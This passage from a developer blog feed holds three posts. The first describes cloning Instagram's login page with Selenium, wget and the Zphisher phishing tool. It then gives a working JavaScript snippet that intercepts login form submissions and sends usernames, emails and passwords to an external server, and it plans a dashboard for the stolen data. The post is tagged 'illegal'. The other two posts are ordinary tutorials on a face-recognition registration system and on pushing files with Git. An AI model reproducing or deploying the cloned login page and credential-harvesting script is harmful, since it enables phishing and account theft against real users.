&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from selenium import webdriver
driver = webdriver.Chrome()
driver.get("https://www.instagram.com/accounts/login/")
html = driver.page_source
with open("cloned_instagram.html", "w", encoding="utf-8") as file:
    file.write(html)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🚨 &lt;strong&gt;Issues Faced:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The script &lt;strong&gt;only saved static content&lt;/strong&gt; , and dynamic elements (like the login form) were missing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CSS and images were not downloaded&lt;/strong&gt; , making the page look broken.&lt;/li&gt;
&lt;li&gt;Instagram loads UI components &lt;strong&gt;via JavaScript and API calls&lt;/strong&gt; , which &lt;strong&gt;Selenium does not capture in a simple page source dump&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Selenium worked &lt;strong&gt;better than HTTrack&lt;/strong&gt; , but it &lt;strong&gt;wasn’t enough&lt;/strong&gt; to get a fully functional UI.&lt;/p&gt;

&lt;h3&gt;
  
  
  🚀 Final Solution: Wget (Success! 🎉)
&lt;/h3&gt;

&lt;p&gt;After multiple failed attempts, I decided to &lt;strong&gt;clone a localhost version of Instagram’s UI&lt;/strong&gt; instead. I used &lt;strong&gt;Zphisher&lt;/strong&gt; , a tool that replicates Instagram’s login UI for educational purposes. It runs a &lt;strong&gt;static HTML version&lt;/strong&gt; on &lt;a href="http://127.0.0.1:8080." rel="noopener noreferrer"&gt;http://127.0.0.1:8080.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To fully clone the page, I used &lt;strong&gt;Wget&lt;/strong&gt; , which recursively downloads entire websites, including images, CSS, and JavaScript files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;wget -r -np -k -E -p -P cloned_localhost http://127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;✅ &lt;strong&gt;Everything worked perfectly!&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;All images, CSS, and JavaScript&lt;/strong&gt; were properly downloaded.&lt;/li&gt;
&lt;li&gt;The cloned UI &lt;strong&gt;looked identical&lt;/strong&gt; to the original Instagram page.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No missing elements or broken styles.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally, I had a &lt;strong&gt;perfect local clone&lt;/strong&gt; of Instagram’s UI! 🎉&lt;/p&gt;

&lt;h3&gt;
  
  
  🔑 Lessons Learned from This Experience
&lt;/h3&gt;

&lt;p&gt;1️⃣ &lt;strong&gt;HTTrack is great for static sites, but struggles with JavaScript-heavy pages.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 2️⃣ &lt;strong&gt;Selenium can render JavaScript, but doesn’t capture all assets properly.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 3️⃣ &lt;strong&gt;Cloning a local version of a site (like Zphisher’s UI) made things easier.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 4️⃣ &lt;strong&gt;Wget remains one of the best tools for full website mirroring.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After multiple failed attempts, I finally found the right method. If you ever struggle with cloning a site, &lt;strong&gt;try Wget first!&lt;/strong&gt; It might save you hours of debugging. 🚀&lt;/p&gt;
&lt;h3&gt;
  
  
  🔮 Future Implementation: Injecting a Script to Capture Login Details
&lt;/h3&gt;

&lt;p&gt;Now that I successfully cloned the UI, I am working on a &lt;strong&gt;JavaScript injection script&lt;/strong&gt; that captures user input from login forms and sends it to my database.&lt;/p&gt;

&lt;p&gt;The script will:&lt;/p&gt;

&lt;p&gt;✅ Detect &lt;strong&gt;username, email, and password fields&lt;/strong&gt; in real-time.&lt;br&gt;&lt;br&gt;
 ✅ Log the captured details in the &lt;strong&gt;console&lt;/strong&gt; for debugging.&lt;br&gt;&lt;br&gt;
 ✅ Send the captured data securely to a &lt;strong&gt;backend database&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here’s a basic version of the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(function() {
    document.addEventListener("submit", function(event) {
        event.preventDefault(); // Prevent actual form submission
        const form = event.target;
        const inputs = form.querySelectorAll("input[type='text'], input[type='email'], input[type='password']");
        let formData = {};
        inputs.forEach(input =&amp;gt; {
            formData[input.name || input.id] = input.value;
        });
        console.log("📥 Captured Data:", formData); // Debugging log
        fetch("https://mydatabase.com/store-data", { // Replace with actual API
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(formData)
        }).then(response =&amp;gt; console.log("✅ Data Sent Successfully"))
          .catch(error =&amp;gt; console.error("❌ Error Sending Data:", error));
    });
})();
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;🔹 &lt;strong&gt;Next Steps:&lt;/strong&gt; I will refine this script to ensure &lt;strong&gt;secure data transmission&lt;/strong&gt; and possibly implement a &lt;strong&gt;dashboard to track stored data&lt;/strong&gt;. More updates coming soon! 🚀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00sjbpespd7a16jr0lzz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F00sjbpespd7a16jr0lzz.png" width="611" height="415"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>instagram</category>
      <category>illegal</category>
      <category>cloning</category>
    </item>
    <item>
      <title>Building a Face Recognition-Based User Registration System</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Thu, 27 Feb 2025 15:35:02 +0000</pubDate>
      <link>https://dev.to/kaniska/building-a-face-recognition-based-user-registration-system-2fm0</link>
      <guid>https://dev.to/kaniska/building-a-face-recognition-based-user-registration-system-2fm0</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Get Files at &lt;a href="https://github.com/guider23/faceScannerForAuthentication" rel="noopener noreferrer"&gt;Github&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Introduction
&lt;/h3&gt;

&lt;p&gt;In today’s digital world, biometric authentication is becoming increasingly important for secure user registration. This blog explores how to build a &lt;strong&gt;face recognition-based user registration system&lt;/strong&gt; using &lt;strong&gt;Node.js, Python (MediaPipe), MySQL, and React.js&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;By the end of this post, you’ll understand how to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Set up a backend using &lt;strong&gt;Node.js and Express.js&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Process face images using &lt;strong&gt;Python and MediaPipe&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Store user data and embeddings in  &lt;strong&gt;MySQL&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Convert images to &lt;strong&gt;Base64 in React.js&lt;/strong&gt; before sending them to the backend&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🛠 Tech Stack
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Frontend:&lt;/strong&gt; React.js (Image conversion to Base64, API communication)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backend:&lt;/strong&gt; Node.js (Express, MySQL)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Face Processing:&lt;/strong&gt; Python (MediaPipe, OpenCV, NumPy)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Database:&lt;/strong&gt; MySQL&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  📌 Key Features
&lt;/h3&gt;

&lt;p&gt;✔ &lt;strong&gt;Face-based Registration:&lt;/strong&gt; Users register using their real name, unique code, and face image.&lt;/p&gt;

&lt;p&gt;✔ &lt;strong&gt;Face Embedding Generation:&lt;/strong&gt; Extracts facial features using &lt;strong&gt;MediaPipe&lt;/strong&gt;. ✔ &lt;strong&gt;Secure Database Storage:&lt;/strong&gt; Stores user data and face embeddings in MySQL.&lt;/p&gt;

&lt;p&gt;✔ &lt;strong&gt;Unique Code Verification:&lt;/strong&gt; Ensures only authorized users can register.&lt;/p&gt;

&lt;h3&gt;
  
  
  📂 Project Structure
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/Face-Recognition-Registration
│── frontend/ # React.js Frontend (To be built)
│── server.js # Node.js backend (API, database handling)
│── face_processor.py # Face processing script (Python, MediaPipe)
│── package.json # Node.js dependencies
│── README.md # Project documentation
└── database.sql # SQL script to create tables
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  ⚡ How It Works
&lt;/h3&gt;

&lt;p&gt;1️⃣ &lt;strong&gt;User selects an image in the frontend.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;2️⃣ &lt;strong&gt;Frontend converts the image to Base64&lt;/strong&gt; and sends it to the backend.&lt;/p&gt;

&lt;p&gt;3️⃣ &lt;strong&gt;server.js&lt;/strong&gt; verifies the unique code and forwards the image to &lt;strong&gt;face_processor.py&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;4️⃣ &lt;strong&gt;face_processor.py&lt;/strong&gt; detects the face and generates a &lt;strong&gt;face embedding&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;5️⃣ &lt;strong&gt;server.js&lt;/strong&gt; stores the processed data in &lt;strong&gt;MySQL&lt;/strong&gt; and updates user details.&lt;/p&gt;

&lt;p&gt;&lt;iframe width="710" height="399" src="https://www.youtube.com/embed/WuIfxfHBHNQ"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  🚀 Future Enhancements
&lt;/h3&gt;

&lt;p&gt;✔ &lt;strong&gt;Complete Frontend with React.js&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 ✔ &lt;strong&gt;Real-time Face Scanning Animation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 ✔ &lt;strong&gt;QR-Based Login using Face Authentication&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 ✔ &lt;strong&gt;Decentralized Access Control (Blockchain)&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
 ✔ &lt;strong&gt;Improved AI-based Face Matching&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  🏗️ Setting Up the Project
&lt;/h3&gt;
&lt;h3&gt;
  
  
  1️⃣ Clone the Repository
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git clone https://github.com/guider23/faceScannerForAuthentication.git
cd Face-Recognition-Registration
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  2️⃣ Install Dependencies
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;npm install # Install Node.js dependencies
pip install -r requirements.txt # Install Python dependencies
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  3️⃣ Configure the Database
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Create a MySQL database and import the &lt;strong&gt;database.sql&lt;/strong&gt; file.&lt;/li&gt;
&lt;li&gt;Update server.js with your &lt;strong&gt;database credentials&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  SQL Table Creation
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    real_name VARCHAR(255) DEFAULT 'Pending',
    unique_code VARCHAR(50) NOT NULL UNIQUE,
    face_embedding JSON DEFAULT '{}',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);

-- Insert placeholder unique codes for testing
INSERT INTO users (real_name, unique_code) VALUES ('Pending', 'ABC1234'), ('Pending', 'DEF5678'), ('Pending', 'GHI9101');
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  4️⃣ Start the Server
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;node server.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  🔬 Testing the API
&lt;/h3&gt;

&lt;p&gt;Since the frontend is pending, you can test the API using &lt;strong&gt;Postman&lt;/strong&gt; or  &lt;strong&gt;cURL&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  Using Postman
&lt;/h3&gt;

&lt;p&gt;1️⃣ Open Postman and create a new POST request to &lt;a href="http://localhost:3000/register" rel="noopener noreferrer"&gt;http://localhost:3000/register&lt;/a&gt;. 2️⃣ Set the request body to raw JSON:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "real_name": "John Doe",
  "unique_code": "ABC1234",
  "image": "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;3️⃣ Click &lt;strong&gt;Send&lt;/strong&gt; and check the response.&lt;/p&gt;

&lt;h3&gt;
  
  
  Using cURL
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -X POST http://localhost:3000/register \
     -H "Content-Type: application/json" \
     -d '{
           "real_name": "John Doe",
           "unique_code": "ABC1234",
           "image": "data:image/jpeg;base64,/9j/4AAQSkZJRg..."
         }'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔗 Conclusion
&lt;/h3&gt;

&lt;p&gt;This &lt;strong&gt;face recognition-based user registration system&lt;/strong&gt; lays the groundwork for a secure, AI-powered authentication mechanism. As we continue to improve it, adding features like &lt;strong&gt;real-time face scanning and decentralized access control&lt;/strong&gt; , it will become a cutting-edge solution in biometric security.&lt;/p&gt;

&lt;p&gt;Interested in contributing? &lt;strong&gt;Fork the repo, submit PRs, and star the project! 🚀&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  📝 License
&lt;/h3&gt;

&lt;p&gt;This project is &lt;strong&gt;open-source&lt;/strong&gt; and available under the &lt;strong&gt;MIT License&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Got ideas? Drop a comment below or contribute to the repo!&lt;/strong&gt;  🚀&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Contribute &lt;a href="https://github.com/guider23/faceScannerForAuthentication" rel="noopener noreferrer"&gt;Github&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F860%2F0%2AuE3pni9oJo9cgLs2" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F860%2F0%2AuE3pni9oJo9cgLs2" width="800" height="623"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>faceauthentication</category>
      <category>weblogin</category>
      <category>facerecognitiontechn</category>
    </item>
    <item>
      <title>How to Add Files to GitHub Using Git</title>
      <dc:creator>S I D D A R T H</dc:creator>
      <pubDate>Sun, 23 Feb 2025 16:23:09 +0000</pubDate>
      <link>https://dev.to/kaniska/how-to-add-files-to-github-using-git-5gp7</link>
      <guid>https://dev.to/kaniska/how-to-add-files-to-github-using-git-5gp7</guid>
      <description>&lt;p&gt;GitHub is a powerful platform for version control and collaborative development. In this guide, we will cover the step-by-step process of adding files to GitHub using Git.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Reach me at github @guider23&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  1. Install Git
&lt;/h3&gt;

&lt;p&gt;Before you begin, make sure you have Git installed on your system.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Windows:&lt;/strong&gt; Download and install Git from &lt;a href="https://git-scm.com/" rel="noopener noreferrer"&gt;git-scm.com&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mac:&lt;/strong&gt; Install Git using Homebrew:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;brew install git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Linux:&lt;/strong&gt; Install Git via package manager:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo apt install git # Debian/Ubuntu sudo yum install git # Fedora
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the installation by running:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git --version
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Create a GitHub Repository
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Go to &lt;a href="https://github.com/" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Click on &lt;strong&gt;New Repository&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Provide a name for your repository.&lt;/li&gt;
&lt;li&gt;Choose “Public” or “Private” as per your requirement.&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Create Repository&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;After creating the repository, GitHub will provide a URL (e.g., &lt;a href="https://github.com/username/repository.git" rel="noopener noreferrer"&gt;https://github.com/username/repository.git&lt;/a&gt;). Keep this handy.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Initialize a Local Repository
&lt;/h3&gt;

&lt;p&gt;If you are working on a new project, navigate to your project folder in the terminal and initialize Git:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cd path/to/your/project

git init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will create a hidden .git folder, making it a Git repository.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Set Up Your Identity
&lt;/h3&gt;

&lt;p&gt;Configure your Git identity (only required once per machine):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git config --global user.name "Your Name"
git config --global user.email "your-email@example.com"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Add a Remote Repository
&lt;/h3&gt;

&lt;p&gt;Link your local repository to the remote repository on GitHub:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git remote add origin https://github.com/username/repository.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the remote URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git remote -v
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. Add Files to Git
&lt;/h3&gt;

&lt;p&gt;If you have files to upload, use the following command to add them to Git’s tracking system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git add . # Adds all files in the directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To add specific files:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git add filename.ext
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Check the status of your changes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7. Commit the Changes
&lt;/h3&gt;

&lt;p&gt;Once files are added, commit them with a message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git commit -m "Initial commit"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This message should be descriptive of the changes made.&lt;/p&gt;

&lt;h3&gt;
  
  
  8. Push Files to GitHub
&lt;/h3&gt;

&lt;p&gt;Push the committed files to your GitHub repository:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git push -u origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you get an error, ensure your branch is named main (or master) and rename it if necessary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git branch -M main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, push again:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git push -u origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9. Handling Errors and Fixes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Remote Already Exists&lt;/strong&gt; :
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git remote remove origin 
git remote add origin https://github.com/username/repository.git
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Updates Rejected (Push Failed)&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git pull origin main --rebase git push -u origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Force Push (Use with Caution)&lt;/strong&gt;:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;git push --force
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10. Verify on GitHub
&lt;/h3&gt;

&lt;p&gt;Go to your repository on GitHub and check if your files are uploaded. You should see your project files listed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;By following these steps, you can successfully upload files to GitHub using Git. Understanding Git commands helps you manage code efficiently and collaborate effectively. Happy coding! 🚀&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frw4jlhjb7ihosdwdznbi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frw4jlhjb7ihosdwdznbi.png" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>github</category>
      <category>git</category>
    </item>
  </channel>
</rss>
